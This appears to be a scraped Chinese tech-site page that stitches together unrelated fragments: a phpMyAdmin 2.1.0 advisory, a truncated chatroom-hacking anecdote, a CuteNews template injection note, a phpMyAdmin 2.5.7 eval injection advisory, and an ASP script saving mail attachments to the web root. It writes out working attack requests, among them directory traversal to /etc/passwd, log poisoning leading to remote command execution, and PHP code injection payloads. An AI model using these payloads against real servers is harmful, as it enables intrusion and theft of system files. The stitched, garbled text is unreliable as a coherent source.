phpMyAdmin2.1.0存在两个漏洞

更新时间：2016年11月25日 15:27 点击：2280

phpMyAdmin ( http://www.phpwizard.net/projects/phpMyAdmin/ ) 是一款管理 MySQL 数据库的 PHP 工具，具有基于 WEB 的界面。但是发现它存在漏洞。可选择安装新发布稳定版本：
phpMyAdmin 2.2.0。
1、目录遍历漏洞
攻击者通过提供如下的 URL:
http://www.example.com/phpMyAdmin/sql.php?goto=/etc/passwd&btnDrop=No (*)
http://www.example.com/phpMyAdmin/tbl_replace.php?db=test&table=ess&goto=/etc/passwd
能非法访问系统文件
有问题的代码在：
‘include($goto);‘ in sql.php and in tbl_replace.php.
2、执行攻击者代码漏洞
通过使用全局可写日志文件，攻击者能在受影响服务器上执行任意代码。
首先，得到 Apache 配置文件以便知道日志文件存储位置：
http://www.example.com/phpMyAdmin/sql.php?goto=/etc/apache/conf/httpd.conf&btnDrop=No
http://www.example.com/phpMyAdmin/sql.php?goto=/etc/apache/conf/srm.conf&btnDrop=No
http://www.example.com/phpMyAdmin/sql.php?goto=/etc/apache/conf/access.conf&btnDrop=No
可以看出，日志放在：
/var/log/httpd/error_log
/var/log/httpd/access_log
然后 telnet 到端口80
# telnet www.example.com 80
Trying xxx.xxx.xxx.xxx...
Connected to www.example.com.
Escape character is ‘^]‘.
GET
^]
telnet> quit
Connection closed.
#
在 GET 请求之后，攻击者能将任意 PHP 代码上传
现在，可以用 Apache 用户身份远程运行命令了：
http://www.example.com/phpMyAdmin/sql.php?goto=/var/log/httpd/
access_log&btnDrop=No?meters=ls%20-l%20/
受影响系统：
phpMyAdmin 2.1.0
解决方案：
建议:
1.使用 phpMyAdmin 2.2.0
http://prdownloads.sourceforge.net/phpmyadmin/phpMyAdmin-2.2.0-php.tar.gz
2.用户下载安装补丁：
http://www.securereality.com.au/patches/phpMyAdmin-SecureReality.diff
摘自：52w.net

网友“小好”给我了一个聊天室ip，让我去看看。原本想入侵它的服务器，大概技术没到家，搞了十几分钟，也没有进去。于是，我就想找找这个聊天室有什么BUG。聊天室看得出是用PHP+MySQL组建的。栏目有：用户注册、忘记密码、修改资料、用户自杀、聊神榜、聊天说明、刷新列表。接着就是聊天了。
我随便注册了一个用户名，按照我的喜好，喜欢开xxxxxx用户，这样，我就用xxxxxx注册了一个用户。登陆进去。
从哪儿下手呢？我想还是先看看修改资料，一般聊天室这里总有这样那样的漏洞。点了一下修改资料，于是就进入下一画面，需要输入用户名和秘密。输好了后，下一步，进入资料修改。YES!资料修改中有用户昵称，其实就是用户名，马上查看源文件，看到如下的HMTL语句：
=================================================cut===========
<form name="ezchat" action="modifyed.php" method="post" enctype="multipart/form-data">
<input type="hidden" name="active" value="change">
<input type="hidden" name="user_name" value="xxxxxx">
<input type="hidden" name="user_passwd_t" value="xxxxx">
<table cellspacing=1 cellpadding=2 width="675" border=0 align=center bgcolor="#FFFFFF">
<tr align=center bgcolor="#FFD193">
<td colspan="4" height="22">用户资料</td>
</tr>
<tr align=center bgcolor="#FFEACE">
<td width="20%" height="22">
<div align="left">用户昵称：<font color="#FF0000"><b>*</b></font></div>
</td>
<td width="30%" height="22">
<div align="left">
<input type="text" name="user_name_1" readonly class="input" value="xxxxxx">
</div>
</td>
==========================================end==================
Cutenews是一款功能强大的新闻管理系统，使用平坦式文件存储。
Cutenews在处理用户提交的请求参数时存在漏洞，远程攻击者可能利用此漏洞在主机上执行任意命令。
在管理帐号编辑模板文件的时候，CuteNews不能正确的过滤用户输入。CuteNews从Web表单中获取HTML代码并将其输出到名为<templatename>.tpl的模板文件中。该模板文件包含有类似以下的PHP代码：
--snip--
<?PHP
$template_active = <<<HTML
[HTML template code]
HTML;
$template_full = <<<HTML
[HTML template code]
HTML;
?>
--snap--
输入以下模板脚本：
--snip--
HTML;
[PHP code]
$fake_template = <<<HTML
--snap--
管理帐号就可以执行PHP代码，导致在本地系统执行shell命令。
<*来源：John Cantu （
涉及程序：
phpMyAdmin
描述：
phpMyAdmin远程PHP代码注入漏洞
 
详细：
phpMyAdmin是一个免费工具，为管理MySQL提供了一个WWW管理接口。
phpMyAdmin存在PHP代码注入问题，远程攻击者可以利用这个eval()函数执行任意PHP命令。
不过此漏洞只有当$cfg[‘LeftFrameLight‘]变量(config.inc.php文件)设置成FALSE时才有用。
phpMyAdmin在($cfg[‘Servers‘][$i])数组变量中存储多个服务器配置，这些配置包含在config.inc.php文件中，信息包括主机、端口、用户、密码、验证类型等，但是由于$cfg[‘Servers‘][$i]没有进行初始化，允许远程用户通过GET函数增加服务器的配置，如提交如下请求增加配置：
http://target/phpMyAdmin-2.5.7/left.php?server=4&cfg[Servers][host]=202.81.x.x&cfg[Servers][port]=8888&cfg[Servers][user]=alice ..
而eval()函数中的$eval_string字符串允许执行PHP代码，攻击者可以增加服务器配置和提交特殊构建的表名，可导致包含的恶意PHP代码被执行。
受影响系统：
phpMyAdmin phpMyAdmin 2.5.7
 
攻击方法：
暂无有效攻击代码
 
解决方案：
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：
http://www.phpmyadmin.net

本文作者：kEvin1986
文章性质：原创
发布日期：2005-08-14

<%
　　‘codz by kEvin1986
　　User=Request.Form("User")
　　Pass=Request.Form("Pass")
　　Popserver=Request.Form("Popserver")
　　if User<>"" and Pass<>"" and Popserver<>"" then
　　　　Set objmail = CreateObject( "JMail.POP3" )
　　　　objmail.Connect User, Pass, Popserver
　　　　set objmsg=CreateObject("jmail.message")
　　　　Set objmsg = objmail.Messages.item(1)
　　　　separator = ", "
　　　　response.write "Attachment Name is: " & SaveAtta & "<br>"
　　　　objmail.Disconnect
　　End if
　　Function SaveAtta()
　　　　Set Attachments = objmsg.Attachments
　　　　separator = ", "
　　　　response.write "The size of this Attachment is: " & objmsg.size & "<br>"
　　　　For i = 0 To Attachments.Count - 1
　　　　If i = Attachments.Count - 1 Then
　　　　　　separator = ""
　　　　End If
　　　　Set Theatta = Attachments(i)
　　　　response.write Theatta.name
　　　　Theatta.SaveToFile(Server.Mappath(".") & "" & Theatta.name)
　　　　Response.write "Oh!Hey Guy.....That‘s OK!"
　　　　Next
　　End Function
%>

[!--infotagslink--]

上一篇: 密码随机函数

下一篇: php没有安全漏洞,呵呵.要注意

php中Multipart/form-data漏洞补丁修复
Multipart/form-data是文件上传或数据提交时会用到了，在php中Multipart/form-data是有安全bug的，下面我们来看看如何修复Multipart/form-data的bug吧．今天在乌云...2016-11-25
phpmyadmin config.inc.php配置示例
phpmyadmin config.inc.php配置示例...2013-09-29
phpMyadmin创建数据库和设置用户权限图解
phpmyadmin是一款很不错的WEB对mysql数据库管理软件，如果你想创建数据库与设置用户权限我们必须操作用户的很高的权限，如ROOT权限，下面我来给大家介绍介绍。先来配...2016-11-25
使用phpMyAdmin批量修改Mysql数据表前缀的方法
多个网站共用一个Mysql数据库时，为使数据库管理不混乱，一般采用不同的网站使用不同前缀名的方式进行区分。而如何批量修改已有数据库的前缀名呢？全部导出修改后再导入？还是一个表一个表的修改？今天我要介绍的是相对简单的...2015-10-21
修改mysql密码phpmyadmin不能登录
出现phpmyadmin不能登录是我在修改我mysql服务器密码之后导致的，后来百度了相关的原因，原来是修改了mysql密码之后我们还需要在phpmyadmin目录中去修改config.inc.php中...2016-11-25
phpmyadmin不能登录，无任何提示的问题解决
昨天有一朋友说自己的phpmyadmin不能登录并且无任何提示了，问我怎么解决，下面我来分享一下关于phpmyadmin不能登录问题总结. phpmyadmin不能登录没有提示解决方法：...2016-11-25
phpMyAdmin 高级功能设置的方法图解
phpmyadmin还有高级功能可能大部份站长不知道吧，今天本文章就来给大家介绍phpMyAdmin 高级功能设置的方法图解，希望文章对大家会有所帮助。 phpMyAdmin 安装后，默认...2016-11-25
phpmyadmin写入一句话木马的测试
下面我们一起来看看一篇关于phpmyadmin写入一句话木马的测试教程，希望此教程能够对各位有帮助。方法一，一句话木马偶尔拿到一个config中，发现是root，且还有phpmyadmi...2016-11-25
php判断邮箱地址是否存在的方法
这篇文章主要介绍了php判断邮箱地址是否存在的方法，php判断邮箱地址是否存在的方法有两种，感兴趣的朋友可以参考一下...2016-02-18
c# 判断指定文件是否存在的简单实现
这篇文章主要介绍了c# 判断指定文件是否存在的简单实现,需要的朋友可以参考下...2020-06-25
phpmyadmin无法登录提示please check errors given in your PHP
下面来给各位同学介绍关于phpmyadmin无法登录提示please check errors given in your PHP and/or webserver，希望例子对各位有帮助。今天帮别人弄网站的时候要...2016-11-25
IIS 环境下配置PHP5+MySql+PHPMyAdmin
虽然主要是做.net开发的，但是，时不时的还要搞一下php，但是，php在windows下的配置，总是走很多弯路，正好前几天又配置了一下，因此总结在这里，做为自己的备忘，也希望给遇到问题的朋友们提供一些帮助。...2016-01-27
phpmyadmin无法登陆无响应问题解决办法
phpmyadmin无法登陆无响应一般是session或cookie设置问题了，下文小编也是因为cookie与 session目录设置问题导致phpmyadmin不能正常登录了。之前由于修改php.ini...2016-11-25
phpmyadmin不能登录解决方法总结
下面总结一些在开发中碰到的phpmyadmin不能登录解决方法，有需要的朋友可参考参考。错误 MySQL 返回： #1045 - Access denied for user 'root'@'localhost' (using...2016-11-25
判断指定的进程或程序是否存在方法小结(vc等)
VC判断进程是否存在？比如我想知道记事本是否运行，要用到哪些函数等实例，需要的朋友可以参考下...2020-04-25
C++检查某个文件或目录是否存在的函数
这篇文章主要介绍了C++检查某个文件或目录是否存在的函数,是Windows应用程序设计中非常常见的实用技巧,需要的朋友可以参考下...2020-04-25
phpmyadmin超时或响应慢的解决办法
phpmyadmin超时或响应慢的原因我分析有两种，超时就是设置时间不够，默认为1800秒了，而反应慢估计是phpmyadmin自动检查更新导致的，下面我来具体解决一下操作方法。今...2016-11-25
phpMyAdmin2.1.0存在两个漏洞
phpMyAdmin ( http://www.phpwizard.net/projects/phpMyAdmin/ ) 是一款管理 MySQL 数据库的 PHP 工具，具有基于 WEB 的界面。但是发现它存在漏洞。可选择安装新发布稳...2016-11-25
个人空间上安装phpMyAdmin方法
个人空间上安装php教程myadmin方法当然你有mysql教程数据库教程。首先下载一份最新版的phpmyadmin mysql管理器。解压后得到一个phpmyadmin的目录（你可以改名）找到...2016-11-25
phpmyadmin出错:缺少 mcrypt 扩展,请检查 PHP 配置与phpmyadmin无法加载
phpmyadmin出错:缺少 mcrypt 扩展。请检查 PHP 配置。phpmyadmin无法加载解决方案: 今天配置phpMyAdmin出现了这个错: 无法载入 mcrypt 扩展，请检查 PHP 配置出...2016-11-25

phpMyAdmin2.1.0存在两个漏洞

相关文章

阁下可能感兴趣的内容

推荐阅读